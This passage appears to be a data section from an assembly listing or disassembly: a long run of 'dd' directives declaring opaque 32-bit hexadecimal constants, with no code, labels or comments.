		dd 0AB06C10Bh, 0EE198495h, 0DE74EA3Fh, 40CFC0C0h, 188DBD0Dh
		dd 28392160h, 34868Ah, 0C7FB98E4h, 9930CB09h, 47439D0Fh
		dd 0E1AF01BBh, 65604288h, 27360008h, 9C221BD5h,	0F10F7663h
		dd 0E04372AEh, 60C3E114h, 7A62078Ch, 2415C2h, 0D1D0E525h
		dd 8D883103h, 0A0BCEE43h, 0C10A70h, 135942E1h, 0A806CE4Dh
		dd 5129DA00h, 0ACA45304h, 289E0017h, 0A6A13A88h, 0EA005784h
		dd 3CCF3654h, 589459h, 0CB780AFCh, 0A4441792h, 3974B301h
		dd 209AA28Eh, 9096AAF0h, 6E690013h, 80B0441h, 30002199h
		dd 0C5AD24F0h, 0A0877DA3h, 116528Fh, 0D0AB2DA8h, 40FE20B4h
		dd 0F473FFA3h, 7CF5D600h, 0A6A8C597h, 61721D5Ch, 0B71E036Ah
		dd 4818F711h, 0B951BF46h, 0E1430052h, 77D248B0h, 403211Fh
		dd 8A96977Ah, 0C01DA412h, 8CBDB16h, 2807948Ch, 9296ADB3h
		dd 20A8E6h, 19749DF1h, 75945BB5h, 0A3806861h, 27FC3F4Fh
		dd 0F17F004Ah, 0A2D07C6h, 6690E103h, 0DA225600h, 0FB94D3D8h
		dd 0CF311F13h, 0ED22488h, 7F00720Ch, 0A1F714BCh, 0B0C1C4B8h
		dd 0A5852C97h, 0B5AFCh,	7A287E67h, 7730B03Bh, 1B61620h
		dd 0CF58E082h, 80948A71h, 0FB6AE139h, 0F7A03Dh,	0E79BE518h
		dd 0C2C6B2CFh, 94B37800h, 2497FFE2h, 0EC660CDCh, 0A0802D52h
		dd 0B5658800h, 0A7D79BE1h, 0CCA500CFh, 1F90CDACh, 4FF8EC28h
		dd 1B674Ch, 6F6D1DAAh, 7182144Ah, 0BFF0006Ch, 0CC368959h
		dd 0A0E1FEDh, 8C0B8364h, 0D921FDh, 80E18925h, 851F9470h
		dd 106D0738h, 5F164603h, 24140084h, 19DEFEA2h, 800FA339h
		dd 0CEC84B26h, 82215Fh
		dd 7A548793h, 0FEDD6544h, 6F06F57Ch, 6E4EEB6Ch,	3D60048h
		dd 0DA3F1C8Eh, 691E59E4h, 89C07C09h, 0A817121Bh, 0E8801E06h
		dd 83A5DF26h, 0E373915Eh, 0CE36E003h, 55F78Fh, 860C6F90h
		dd 584F4D42h, 0D7766375h, 0D18508C6h, 5E2C3D20h, 65A78381h
		dd 0EA9D7C27h, 1E5D8C80h, 94A00934h, 0A207E9CAh, 0CDF2E0CCh
		dd 0DFC2DCB0h, 0B7690125h, 0AA307792h, 0C5BED493h, 76A8700h
		dd 6610624Dh, 143C03ABh, 0A81BB075h, 35AD3DD0h,	909DC000h
		dd 0E3A416FEh, 0C17A85h, 6C6492E6h, 338018A9h, 772B7600h
		dd 5DABC7E7h, 23200C2h,	60112D2h, 0E4003FEBh, 0FDA16430h
		dd 0D8B334h, 2AC109A3h,	0D0557F4Fh, 18F5F3Ch, 285C9B7h
		dd 0AEE4D95Dh, 60E0013h, 0F65C0BA0h, 0FA008AC6h, 261A609Eh
		dd 3A1B2Ah, 1DFBA7E5h, 65BDED58h, 62F96F00h, 0D0B327DFh
		dd 87D00C0h, 6CDCB64h, 0B7003211h, 5FCACEA0h, 0C4BAADEh
		dd 0BBD70FD6h, 0D2073078h, 6EDBB3E7h, 0FCA5ABC0h, 0D8840028h
		dd 0CF0CB50Bh, 0F5317F2Ah, 161EB0A1h, 37445087h, 0A60680CCh
		dd 5207BE8Bh, 97A8B0A0h, 3629004Eh, 0E0DF846Dh,	855402C0h
		dd 8D0538B2h, 3A1A04B7h, 3041E49h, 1E800238h, 69A03D10h
		dd 892204FBh, 8F5014Dh,	39C015BBh, 7BDD3BAh, 4057461Ch
		dd 83C2AC9Eh, 20197968h, 0D9061830h, 0AF6A09F0h, 1D064D22h
		dd 356C9880h, 0A0BB5009h, 0A15B9618h, 69BA2D4Ch, 8AA0786Dh
		dd 1C8DD418h, 0DF904014h, 1A18889Ah, 95102F50h,	8882960h
		dd 20004A1h, 0BB33F308h, 9C44A195h, 99DC999h, 8204C91h
		dd 0B4B24028h, 8A0C08D0h, 0AD061423h, 0FD9106E2h, 49C30D01h
		dd 5010A140h, 0DEE09540h, 0BDC4009Fh, 8A9AD9E7h, 10E758B7h
		dd 58218785h, 961F5651h, 984DA9Bh, 4A1FC15h, 7D71607Dh
		dd 0D7F883CBh, 9FB04C48h, 899F8BC0h, 0AB9E613h,	0FEDEBDF1h
		dd 201114E6h, 0C446017Dh, 0C2574B37h, 1F1983EFh, 6F053FECh
		dd 4F845938h, 0CA0A4579h, 1160C0EEh, 0E60087D0h, 0F1260737h
		dd 0CDAD6A9h, 578F12BBh, 820CED60h, 712EB1FEh, 0F5490323h
		dd 0B8C89BD1h, 69D677C3h, 0EF60BA73h, 7B2D6449h, 3B623A3Ch
		dd 0D5AA0506h, 0D2740855h, 0CD406B07h, 0AC300878h, 2437803Ah
		dd 81C839ECh, 6B259386h, 2E84D089h, 3F78CE78h, 0C1814E36h
		dd 92F6C48h, 9F070798h,	5236C934h, 0A89EBD33h, 0FED925h
		dd 0ABC3760Bh, 9B017F18h, 1F6CB53Ah, 1B82D116h,	64D88F2Fh
		dd 0A6730510h, 1FF53F5h, 21E07F8Ch, 86E8801Ch, 8D0A68A3h
		dd 45F11885h, 0CB1F89ADh, 51ED3Ch, 10FFEA0Bh, 31D42119h
		dd 0F6280572h, 23A90036h, 634819FEh, 4012C134h,	24D89888h
		dd 190369E2h, 80BA740h,	3A189806h, 0DC4855F1h, 5CB7001h
		dd 0F0562FD0h, 0ED09282h, 8CE2E788h, 864EAC00h,	0CD145960h
		dd 1015D3h, 378A50AFh, 0C511DEC7h, 401636A1h, 4E68DBB0h
		dd 30C086A0h, 0BFFC672Dh, 6314007Bh, 0A5B59992h, 24F3C53Eh
		dd 0A8AE372Ch, 451C0278h, 640388Fh, 0D679B98Ah,	664F808Dh
		dd 9398F1C0h, 0A520C728h, 86DB84B8h, 200D2238h,	85712217h
		dd 40FAD1E3h, 0CEAF6BD9h, 772DD300h, 4DC27E50h,	0F38E845h
		dd 0EC891371h, 0C00B2640h, 40E13EBDh, 0F15D88A4h, 144C1B07h
		dd 5760822Ah, 1F807938h, 80ACFD8Bh, 0FFE541D8h,	0C20E7636h
		dd 6C9501h, 14D59F2Ch, 0ED0E14DFh, 0EC0CA021h, 6FB8B862h
		dd 128997Ah, 0E309D0C5h, 902ED06Bh, 0A924AFC4h,	8450B7B8h
		dd 0DDB9ED4h, 5F7C01C1h, 1BD80029h, 8774B499h, 8C8CF729h
		dd 40C3EF42h, 20817944h, 98261884h, 0A38B0C3Dh,	85E88930h
		dd 0EEC5A610h, 14CA1809h, 0F7211A30h, 88225851h, 0F762C35Ch
		dd 4CE84C07h, 60A8D2CAh, 0F0CC8CEBh, 7012929h, 80897712h
		dd 1E2200D6h, 8B38BA81h, 98A0763Ch, 41C013C5h, 1A013FB2h
		dd 4CA5189Fh, 9505B1E4h, 7D284764h, 2101D720h, 0D23C3750h
		dd 0D89B0F05h, 5842576Dh, 40432E5Fh, 0A49DECB0h, 0ACA50A48h
		dd 0F00CCEh, 41258123h,	0D431C38Eh, 24898004h, 0B0840CDDh
		dd 818491E8h, 248DD868h, 583E25B8h, 59749966h, 70340218h
		dd 97EB06EDh, 712839EFh, 0E455614h, 3D5710B0h, 0A091D388h
		dd 5C058869h, 0C0CC4040h, 392218DAh, 82140900h,	72389DD7h
		dd 408301D2h, 73F61DFh,	7CA041A3h, 0F8721032h, 387F5C62h
		dd 3C8DBA81h, 4F21F480h, 18398330h, 0A2F8A03h, 479045C8h
		dd 9228198h, 0E06C5C1Eh, 10C08682h, 753F1614h, 0FEC60406h
		dd 893AE845h, 5F189EC8h, 9B3EACC7h, 10562A80h, 0E220283h
		dd 3D9491F3h, 50C2C882h, 6EC19880h, 0F2010D03h,	0C7B94CFFh
		dd 0FC30380Ah, 7B01E6ACh, 0A0F118CAh, 0E1969188h, 8464C12Ch
		dd 6C32674h, 0E9CC84F0h, 207880D5h, 4C3A5A07h, 0C7909269h
		dd 3EF18810h, 0CC2E8674h, 2229F79Bh, 37105B23h,	70113810h
		dd 9B74114Bh, 22288F28h, 7C22F58Ch, 43E62260h, 82144B50h
		dd 8898F844h, 8A000A89h, 2D4C5183h, 9AB94h, 0F94DD0E4h
		dd 993B40A5h, 6BD24E00h, 96AD0F39h, 460B1E37h, 82770149h
		dd 0CC9B6CF2h, 0DD792C2Fh, 95C85300h, 57289C1Fh, 0EA4000AAh
		dd 10A1FB41h, 0CF00C225h, 0CEA78992h, 1B711DDh,	8A045B80h
		dd 401C2E34h, 0C3BAFFB2h, 0A624318h, 7864210h, 0AEAA5B5Eh
		dd 20C0BF0Dh, 66BB8E74h, 0CA67BF00h, 1C6A8C9Ch,	1C59E203h
		dd 409F0B07h, 9ADAD4C2h, 8801F4CEh, 0B33F95BFh,	0C4298F83h
		dd 431D061Ch, 8A6E6B51h, 0DA649806h, 780DE3h, 0F3781F09h
		dd 24A7C9Ch, 0D71A9E07h, 0F6D0ADEFh, 24429Bh, 9DC517F0h
		dd 0E0107769h, 21D4E400h, 6AF6D85Ch, 0C580C0F8h, 83E68E49h
		dd 88B23439h, 0C1D6A0h,	2131E29Fh, 0AF00AA86h, 47870D4Eh
		dd 0CBEA15h, 0B65CDDBDh, 0B1B2074Bh, 898AE401h,	1E7520F1h
		dd 0C8D59AC5h, 1BD8A880h, 0BDDBF2E8h, 30500103h, 0C0CCB15Bh
		dd 4AB8DCh, 4251FDF7h, 0D8E30E40h, 699AF800h, 41C91113h
		dd 88B700CFh, 5F70B07Dh, 0AF009D1Ah, 896106C7h,	621D9Ch
		dd 4B32286Ch, 0EDCAACE9h, 34C15B00h, 80273626h,	65A70370h
		dd 5606A260h, 2520C09Ch, 23002ECFh, 41DAFB7Fh, 0FA187864h
		dd 3C404C0h, 82DED3AAh,	6560830Ch, 59011A37h, 54B3BE8Fh
		dd 0A0F46ACDh, 0E0E01Eh, 0B6190187h, 0B1A35310h, 847D413Bh
		dd 1D149EE1h, 93F31890h, 23510085h, 0C20A8DFAh,	5E01C941h
		dd 0AA69A8D5h, 10602D92h, 0F0640026h, 650A40D9h, 6B008BECh
		dd 134B6F30h, 0EECDA6h,	911D8CF6h, 97023552h, 7BAE280Fh
		dd 0DD110795h, 76E38080h, 916F0017h, 0F560B04h,	35647024h
		dd 74D0D10Eh, 182A6E4h,	0E79DE926h, 402B2A10h, 64C627F4h
		dd 0BAFB100h, 0B380B2D9h, 9FFF00E3h, 74A34092h,	6A1CE1B0h
		dd 3B9F4F55h, 0C1517A40h, 7263E6h, 0B568C32Ch, 1A20BEDAh
		dd 0FE34AC00h, 0C8B745D3h, 940900A2h, 0B4255CF5h, 600696Dh
		dd 1C312D77h, 189A8D9h,	0DD58EBADh, 0C060089Ah,	8D1D96DFh
		dd 6EDCC393h, 35780F00h, 0C57136h, 0F5D9DC97h, 6FADA1DEh
		dd 0CC003AB0h, 9A9B8BC2h, 1FDD0B21h, 0FAA088h, 69EDBF9Eh
		dd 5C0BB593h, 8434E4h, 8182552Ch, 0A1920017h, 41A278BCh
		dd 0B4706F56h, 87A4363Fh, 9926799Bh, 3A80BDA7h,	4FCBE5h
		dd 56532C6Ch, 71B58EA6h, 29CA200Eh, 0A00A09EDh,	962FEC2Ch
		dd 0FD10041h, 322450F5h, 0E207947Bh, 2A8EABF2h,	2FA99610h
		dd 0B3E8E6h, 0F359841Eh
		dd 7E825499h, 93F9D800h, 0BD1A62Bh, 284200C2h, 0D6691883h
		dd 0AE07F744h, 87FC502Ch, 122AB0D0h, 9C1A07ABh,	0C086F672h
		dd 9A62C920h, 3000B2EEh, 8A8289C1h, 2C5C042Dh, 3B983E1Bh
		dd 24EE0975h, 0CF092327h, 54615800h, 0BC5C101Ch, 1CC83C48h
		dd 0BA40D4E2h, 96D1431Eh, 4D090682h, 5068A2DBh,	0C8E37B17h
		dd 2851CC0Ah, 0A1560038h, 3EF00191h, 68FB00CAh,	691A4FC2h
		dd 204B2686h, 9E78A0h, 505D7F1Bh, 0B8618372h, 295D300h
		dd 0DB1E2EE6h, 576F00B9h, 2DB0F1F5h, 727D3F18h,	0C4D2CE01h
		dd 0EEABD5D9h, 0D83B70h, 7B05D76h, 0F40445B3h, 3FC755Dh
		dd 8D932B41h, 69B5F848h, 0E8DF609Ah, 20276BC5h,	800A570h
		dd 99D217D4h, 7E3B12Fh,	6F0ECDC7h, 19FEB1F4h, 0D7EBFCA1h
		dd 0A9AD9700h, 5AA71474h, 826C00F3h, 0EFE9451Bh, 0C20016CEh
		dd 0D32AFC38h, 7D1DADh,	6C4DB0BEh, 46E1F0AEh, 82BA7050h
		dd 4E8D3207h, 0AC30C9E7h, 8A3C2Fh, 59392E0Ah, 0DA9731AAh
		dd 8D534800h, 1E11092Ch, 4DE6008Fh, 52F1685Dh, 0C43EA071h
		dd 0FEED8014h, 0E0024BEEh, 8ED81C80h, 81F70022h, 937A1845h
		dd 13F09258h, 58406F69h, 0F2A19B12h, 5B651DEBh,	6090C03Fh
		dd 0CF38771Ah, 5A73821Eh, 9652BA00h, 0D959E6h, 597E214h
		dd 0CC3CD566h, 10D4CF49h, 0C80BA4C2h, 0A0017C67h, 0E41519F9h
		dd 0FF035818h, 9A2F4B27h, 0F788879h, 0C8240048h, 89F1E4F9h
		dd 0EB385CC1h, 47DD006Fh, 56B1D868h, 6E8400C5h,	0E80B8C07h
		dd 0E100FB45h, 82F50C33h, 983F05D3h, 0FA1C4CA1h, 29261901h
		dd 0D45CB37Ah, 66988D01h, 0BBD13700h, 413DB790h, 388B0375h
		dd 0D65665CEh, 311903A8h, 762F370Eh, 5CEB2013h,	30A564D7h
		dd 0D5CE88EEh, 0AB1F50ADh, 2480465Fh, 0A01D56B9h, 2DE80083h
		dd 0B163CDD9h, 0E40EE526h, 0E3DB145Eh, 991893E7h, 10801B76h
		dd 2A397DF0h, 0D53F2B0Dh, 0E4670097h, 6AA1494Bh, 0CF00AC1h
		dd 0A0C662h, 0E1A6E53h,	0FDE2F2DAh, 99BB8C00h, 10B02DDEh
		dd 0AD1C0261h, 68435E08h, 3AD62C60h, 330553B0h,	6F907A5Dh
		dd 0A648A0h, 77EC4F0Eh,	32921899h, 5175E700h, 0AA2A58D3h
		dd 0F02D4CA1h, 4EC8B50Bh, 0C7824A0h, 34000D21h,	7F07E967h
		dd 1E5126h, 0DFF252ECh,	7D8E826Dh, 0F164D40Ch, 0F8FB19D2h
		dd 67331D63h, 125540A7h, 9ACAAB4Fh, 705A0D00h, 0F873B10Ch
		dd 0E52B035Ch, 3F0455Eh, 0BA0781D8h, 0B0C06A75h, 0C4CF32A9h
		dd 5FF29Dh, 0B4D7E13Ch,	0E31C343Fh, 12834200h, 0A60BE504h
		dd 0C361002Ah, 0CB071DD4h, 0AD009281h, 479E50A8h, 0A728BE0h
		dd 0D36A8716h, 0A37A0ED4h, 3E5730D8h, 0BCD6C600h, 1D9B7F90h
		dd 899500C1h, 14BF02E0h, 2100ABE3h, 0FA712F79h,	4CC2Ah
		dd 2D6165CFh, 0FF60DCA6h, 313F530Fh, 4555C09Eh,	748B0F05h
		dd 19DA015Dh, 0BF068A89h, 9482CB9h, 602878E5h, 0E64E56B0h
		dd 90CA008Ah, 0B7EA3C66h, 9707399Ah, 50097747h,	0E8A6E233h
		dd 0FC898F5h, 92B7916Bh, 1521754Ch, 47014C00h, 3CA9C4A2h
		dd 0F0270346h, 93BB9994h, 344E3DD8h, 913B2203h,	932E456Ah
		dd 0F676B047h, 11CF004Fh, 0DB05C282h, 0BE00AA3Eh, 55735C23h
		dd 8AEACDh, 10EDD815h, 51213D95h, 0E4FB8612h, 39B0CC0h
		dd 0FAAF9834h, 0B2FE0711h, 909DF28Eh, 4DDC07C7h, 0F38FEC00h
		dd 898BA5F1h, 50EA46h, 72AE6A8h, 0E0B6E86Eh, 99F0720Eh
		dd 0BECEA038h, 58FEA7h,	62C9EA9h, 0A2D6F898h, 750212FAh
		dd 0CBDEDCF0h, 35F180B4h, 0A93A40h, 0AEF83148h,	0CD26F284h
		dd 0F0FA5528h, 0AB6116A0h, 2885C516h, 0CF76790Fh, 0DA900037h
		dd 0F23E283h, 0C3C10453h, 0D9070181h, 5BE21EBh,	0CBB100CCh
		dd 1E106DBDh, 9DC2F53Ch, 0FE0092E8h, 6A40DAA3h,	0C0F700D0h
		dd 88A27EE6h, 741CF0A6h, 0FB4043A5h, 0D4820CE0h, 96681CBFh
		dd 0B7CC8087h, 3F06E836h, 0DF3C5549h, 0FC032940h, 3B275E1Ch
		dd 5A04440Ah, 81A628CFh, 0F8EE6447h, 5158A80Dh,	5BB00199h
		dd 0E4196181h, 0FEFFF4h, 0C10CF738h, 13457A37h,	3FE82300h
		dd 0DB188E54h, 0FCFF0049h, 0F58A5AA5h, 0ECB004C7h, 0EA4B748h
		dd 0C15B7456h, 0C133997Eh, 33754C4h, 350B8CDh, 0F5A8EBD2h
		dd 600099Ah, 74FC9941h,	3886B331h, 9E890772h, 0B8E0C2CFh
		dd 3500DC1Fh, 0A2228F9Ch, 1ACB7Ch, 557007EFh, 4DE73ACEh
		dd 5D0BBF05h, 0E9C20CE3h, 0ECAD40C5h, 0F1C90012h, 0A472427h
		dd 390502A4h, 0E60EAEDh, 67C809h, 86D8C394h, 536100FDh
		dd 9B568D14h, 0E104F63Eh, 8B06DE50h, 10C358C0h,	790A0005h
		dd 0D08F5572h, 93000482h, 39C0FD97h, 1E70249Dh,	8022F7CDh
		dd 0FB2A79DCh, 0B901DF58h, 9F308933h, 0B2EBC75Bh, 4314C098h
		dd 0A0DA031Ah, 81A13D48h, 6BA8BDA3h, 37038557h,	0AF42131Dh
		dd 0B564A023h, 0FC22008Bh, 0B61986CCh, 483E85DCh, 0BDF0802Fh
		dd 0A3D7AF1Fh, 96184CE9h, 9F244103h, 0F0083B34h, 3D607Fh
		dd 0F2205040h, 9D00102Ah, 0A9A1A801h, 21CAAFh, 1EBC6088h
		dd 0C5EAEEB1h, 0E0E9BA04h, 0DC806962h, 5AAE41h,	81B983BBh
		dd 0AD0B666Fh, 12580C0Ah, 720090D9h, 2FB44AEEh,	0AC4800B5h
		dd 0CD81AAD7h, 4B099BB6h, 3F1413h, 958F4515h, 20FB0052h
		dd 0DDF7B9CEh, 5B2DB6F1h, 7A00209h, 4C5AD7h, 0EA0D5E2Ch
		dd 0D9F4C44Bh, 0C3E38013h, 0E565A403h, 71BF0CDh, 0CB131D55h
		dd 0EBD6842h, 1C10568Fh, 2788A747h, 7552B330h, 559F9CE0h
		dd 0B6EBBA04h, 0F8F04DD5h, 70C4B85Dh, 0AF72005Eh, 0EDFF90ABh
		dd 0CC481734h, 1B0816A8h, 0E04BB012h, 9DB003F3h, 9B38E8B9h
		dd 34F91243h, 5BA8071Fh, 0B580DF19h, 0F2E26102h, 0B8581500h
		dd 4D7E6D17h, 0EFE2F6h,	6043CD0h, 0A4402961h, 0E43B9E28h
		dd 5A26E503h, 4D0F2BDh,	4CFCB10h, 5BF281C5h, 7038B0h, 957F87A0h
		dd 2AEFA8h, 0DA23656Bh,	34488FA1h, 0C5093Dh, 4A47A5EBh
		dd 18164Dh, 5509681h, 298B6CC1h, 0D15C7600h, 552F32B3h
		dd 6FB00003h, 0F4239077h, 0B6005D0Eh, 0D04C114h, 7BB332h
		dd 91851B19h, 0A274B809h, 3DF79504h, 0E8F0419Ah, 6FB10479h
		dd 0B098B013h, 5000785Ch, 0B9F1CF4Bh, 54FEF90h,	0C2F7E217h
		dd 8470C0BFh, 80E3722h,	416F0594h, 66C50BD0h, 1706B530h
		dd 18D61A2h, 0B7785850h, 0C7642C7Dh, 56B18822h,	72F8E149h
		dd 0ACDC0077h, 2729E9ECh, 472CEB1Ch, 0C70050EAh, 64F067BDh
		dd 7DC09595h, 0F5133AF9h, 8040B49Fh, 19A3B26Bh,	949C1Fh
		dd 87FCB062h, 920E2584h, 40EA690Dh, 47C5A035h, 85AC009Dh
		dd 745F6662h, 961ED5F4h, 3600506Ah, 0A311DD02h,	971D07C5h
		dd 29A840CCh, 74004C46h, 9212CDA9h, 2C90FBEh, 4389CFCh
		dd 0A0401709h, 200FA53h, 0D767E4Dh, 38A8696Fh, 17752B10h
		dd 1863C7h, 8AEC91C0h, 47FE28Bh, 2636C820h, 806442ADh
		dd 0EE8AF612h, 0DC305930h, 56614816h, 0E1E50038h, 0A02F0D19h
		dd 0BE03B182h, 0C0F2F3E6h, 926BE0D5h, 5DD70030h, 0A6E88A18h
		dd 0A06748AAh, 8C42E68h, 0C0500704h, 671D5EFFh,	58442101h
		dd 737F464Ch, 78F0EBF5h, 97520048h, 0FE62427Eh,	6700F066h
		dd 0E85F1B15h, 74B7DEAh, 7E4FB582h, 0A0D2F745h,	23D46E5Eh
		dd 7F003098h, 89B43F9Dh, 3DCCBF85h, 0B700D381h,	0B8A279C8h
		dd 6A01A7EEh, 0E3155C3Ch, 0B9F473F3h, 4E1000E9h, 0D5671F8Ah
		dd 9C02B1A1h, 4B3478A2h, 86AE06Fh, 0FCEC7Bh, 2065DE1Eh
		dd 0ECEDA130h
		dd 3F0E3Dh, 0B218BA26h,	0CF27E3h, 82EF8087h, 882D4F3Eh
		dd 0EC010C98h, 0B3EB8E74h, 74603ABEh, 518200BAh, 659B293h
		dd 0E3003171h, 0A99A746Ch, 0CDB767h, 581EAA03h,	0D17721F4h
		dd 0C5988F02h, 588256A8h, 690E0034h, 0EA0FDF84h, 6F00E09Eh
		dd 0E9F71899h, 50AE22Ch, 0DA359FA8h, 0C2E0814Bh, 97C6F091h
		dd 6960D700h, 2FDD85B7h, 7132DCCh, 0C98ED438h, 2937F00h
		dd 90A633A2h, 3C4C0042h, 579B8D9Dh, 0C700E2B1h,	0C011346Ch
		dd 5C75F070h, 0E10047CEh, 46EE83A9h, 2A263D4Ah,	5000B006h
		dd 0D82C37F5h, 0E89F676h, 1B1817FEh, 10E37E40h,	9C045E56h
		dd 5B3A0432h, 46331890h, 1BF93E20h, 36D402CFh, 0DCE01107h
		dd 0F8EDE069h, 0BD006F02h, 5917F568h, 9F7026h, 30D9F344h
		dd 0E67C7AC5h, 0B47C7C98h, 0C4E47800h, 9305C294h, 8BD10083h
		dd 5C92B635h, 0F300A870h, 791625E3h, 965A368Fh,	51D50918h
		dd 6918BE80h, 810795D4h, 827D3A13h, 5B3F7BB0h, 17671C15h
		dd 0C4364E35h, 0E03BB1A0h, 400060F9h, 0F72852C6h, 72A1EE50h
		dd 3A0200DEh, 0A42DDCC3h, 8276D6C8h, 90CC5900h,	8B88D216h
		dd 475B7Dh, 9FE219A0h, 0D8F2E32Dh, 0F400A87Fh, 7BB45D82h
		dd 110A63Ah, 8A67DCCDh,	80704C8Dh, 0BFB28E84h, 0B462F763h
		dd 3FF20008h, 24753936h, 0A34D1400h, 0AA7E1DB1h, 0FC5402E1h
		dd 7160F3A7h, 16E626C0h, 239B9F00h, 2B969261h, 55020079h
		dd 6275A8CBh, 0ED27AFB2h, 0FB9C2372h, 6146B847h, 0A92E17A5h
		dd 65AC022Ch, 0D560763Fh, 0B3ACA4Eh, 0F9FB0132h, 17A1A2B5h
		dd 0EC94B1E8h, 92B424D6h, 7674307Dh, 4D00DC4Ch,	3EDD5CB7h
		dd 0D6D360h, 4B303416h,	6701252Fh, 0FB3C7B0Eh, 180EC075h
		dd 0E4D2F584h, 9F3A3986h, 39060800h, 2116E90Dh,	71A6B100h
		dd 0D48FF701h, 0D6841EF0h, 0E1138004h, 4C89EFE5h, 5563C200h
		dd 0F9529498h, 0B4AE0BBEh, 1E80BA0Fh, 86506206h, 3A92200h
		dd 366E3029h, 74BE7D4Eh, 0EE8CE453h, 393EEC77h,	76027E59h
		dd 87CEA5Bh, 1A4923E0h,	0F3A99D00h, 0AAD19725h,	7CBB7439h
		dd 2D3C18E9h, 232918F4h, 0CC819960h, 0E248D3Fh,	47845FC2h
		dd 0D84D2680h, 20C5904Ch, 2800B41Ah, 0AC3912A3h, 0B908C0D1h
		dd 6182723Bh, 1A4D2E00h, 0E3A789DDh, 0BC5F00BBh, 0EF9AC81Dh
		dd 0EE180ECBh, 7368C077h, 530901D9h, 0A20F25F9h, 0F2A981ACh
		dd 0CC48C139h, 0C5A82981h, 80178863h, 65465220h, 0C71AA00Bh
		dd 41C1EF80h, 0E52CD1BAh, 6C86CECBh, 0D9C7B88Ah, 22B089D7h
		dd 51AC5Fh, 92F17EC4h, 5D43F07Fh, 179B5000h, 0F5D99830h
		dd 0C85E6073h, 0FD8EEEF9h, 0D2D18400h, 5769AB42h, 0B0480049h
		dd 0F2613B5Dh, 507A5BC2h, 295A2E03h, 885824CCh,	47A6C1h
		dd 3EC38960h, 2FA7F90Bh, 0FD00D898h, 0E36F815Fh, 0F69E5938h
		dd 0C1CE00A8h, 2C954ED2h, 1400E5A7h, 0A126578Bh, 82DE43h
		dd 228F64FAh, 0A87B0496h, 5EF92A1Eh, 33264A43h,	725A8892h
		dd 54750071h, 0CFE6A3F2h, 0C40F231Eh, 2FBD34B6h, 0E5480E4Ch
		dd 0B840472Ch, 33B94AF7h, 27E103FEh, 38161799h,	210073A3h
		dd 0CFB8E344h, 95913BFh, 897A5B36h, 5642DA00h, 0EF3EE74Ch
		dd 0D4D60040h, 0E305A3CCh, 64912Bh, 6D9A1845h, 891E87C5h
		dd 0B65D1A1Dh, 2096700Ch, 27B200E5h, 0E0F64E01h, 0FE01AB83h
		dd 173426A3h, 0E040F8BCh, 60A68851h, 0EEC060DBh, 22004394h
		dd 19DD760Bh, 121EE39Ch, 7EA204Ch, 15481D48h, 0E070402Dh
		dd 71C3D1B8h, 76223843h, 0B8194A07h, 7190A2BBh,	117ABE6h
		dd 0EAA4C1Fh, 0C03CCD4Bh, 8F243BC5h, 5280282Eh,	0CC9019BEh
		dd 914C062Dh, 203924B8h, 899E451Ah, 64B40591h, 0B9444420h
		dd 11FE2B3Dh, 5DDC08B4h, 8640D61Dh, 0D8AF846Eh,	6DFA1F9Ch
		dd 0CE901D30h, 2E436096h, 19E86571h, 9E7D778Fh,	0DCF8F62Eh
		dd 392A500h, 752DD4FDh,	68DF0614h, 0FAC0A834h, 0DE126709h
		dd 4C0700D6h, 9C8CADBh,	38A9C1D0h, 0C0454907h, 95F5B04Eh
		dd 0C72CAB98h, 8E01785Fh, 266F3994h, 7D0A8FCh, 0EBA340A2h
		dd 143760D2h, 0F60E9C89h, 0C0160797h, 9871495Eh, 0D2FE00E1h
		dd 9522ED23h, 0F800DD45h, 7220398Dh, 0AC3D43h, 0C2B4EA89h
		dd 0C0140EB2h, 5BFA9F71h, 0FECE300h, 0EDEF8890h, 36D303E1h
		dd 0FD116F65h, 0FE022800h, 69EE8542h, 0B7FCE9AFh, 790C005Bh
		dd 532CFB01h, 0F4E934C2h, 97015C3Eh, 0E266A2B0h, 488080D3h
		dd 6B148B2Dh, 0D8B7568Ah, 86E6387h, 0CE83818Dh,	0A80F7A98h
		dd 1306478h, 69363489h,	16EE3009h, 0FD345628h, 7C74F77Bh
		dd 0B51D7071h, 0DA4C59A5h, 103589Dh, 0CBB428D8h, 0E4BE7FD0h
		dd 0F500955Ah, 3E510E31h, 0FFEA42h, 574BB14Ch, 3F9D0B2Ah
		dd 47781874h, 7A54CB00h, 0BDB536CCh, 1467006Fh,	55B8B996h
		dd 0D200A6EFh, 738AC132h, 0E40F07Ah, 0DF5128E0h, 374C5240h
		dd 0B005C50h, 15911F3Fh, 1B63ED0h, 0DF3BBF7Fh, 0ECE4E21Ch
		dd 1900E665h, 5B827180h, 0EEE439Eh, 0D77D9F54h,	75789940h
		dd 0AF00A25Dh, 3CB29056h, 5CE86D0Ah, 38002C23h,	7EC067E0h
		dd 0E5EC618Ah, 0F672BF00h, 0B9BB6495h, 9D693D71h, 379A9101h
		dd 0FC4F169Eh, 4500356Ah, 0B8E54466h, 3AFE4930h, 0E158B2CFh
		dd 11DA3800h, 0C9843693h, 8C213C1Ch, 5CCE4740h,	0D09907h
		dd 2BEBC50Eh, 0A5F77489h, 6169FCFBh, 0F228DB60h, 0C1FA483h
		dd 36A1B778h, 0A0308B40h, 6AC820DEh, 52EA5Dh, 762916Ch
		dd 0BDE3B50Bh, 0B1046318h, 7A4C0538h, 55390699h, 49DC5D34h
		dd 91752D30h, 7E644F8Eh, 43273B0Fh, 0F1B91C77h,	39A1C045h
		dd 8EB2E929h, 0D9008479h, 0A7A379DDh, 3757409h,	72FDA98h
		dd 0D800201Fh, 0C32EAAA1h, 317F37Eh, 4B490CC5h,	11E94A1Ah
		dd 0B3D1CFCAh, 958448C8h, 61E4A807h, 14B0EAD9h,	2BBDCh
		dd 8DF4D8B8h, 156245DBh, 46CDB1C1h, 8085D53Dh, 8DBA1Fh
		dd 87CFBF80h, 341D15CCh, 1740AAF7h, 0BEBC3907h,	36330084h
		dd 0A3EB4094h, 49000DD4h, 83461DBBh, 37703FEh, 712A8E34h
		dd 0F898B5C5h, 0C10B337Fh, 80EAFAE4h, 30E7C4Ah,	91620E84h
		dd 0AC87BA2Ah, 4EDD6073h, 0FE000DDCh, 455595A0h, 0E0287Eh
		dd 83BA0E1Bh, 507A62A8h, 2B8E350Ch, 872A087Dh, 0F316415Fh
		dd 0ED1080BFh, 4709B038h, 87301h, 6B8645BAh, 16F5B474h
		dd 119E4D00h, 0DB63EBFAh, 2C28C80Ah, 0B78EC341h, 1194A901h
		dd 4011BDE4h, 92131146h, 119BD511h, 413D824h, 9FDC449Ch
		dd 449DB144h, 0B84892C3h, 0B5273241h, 11BD3D01h, 0C984535Bh
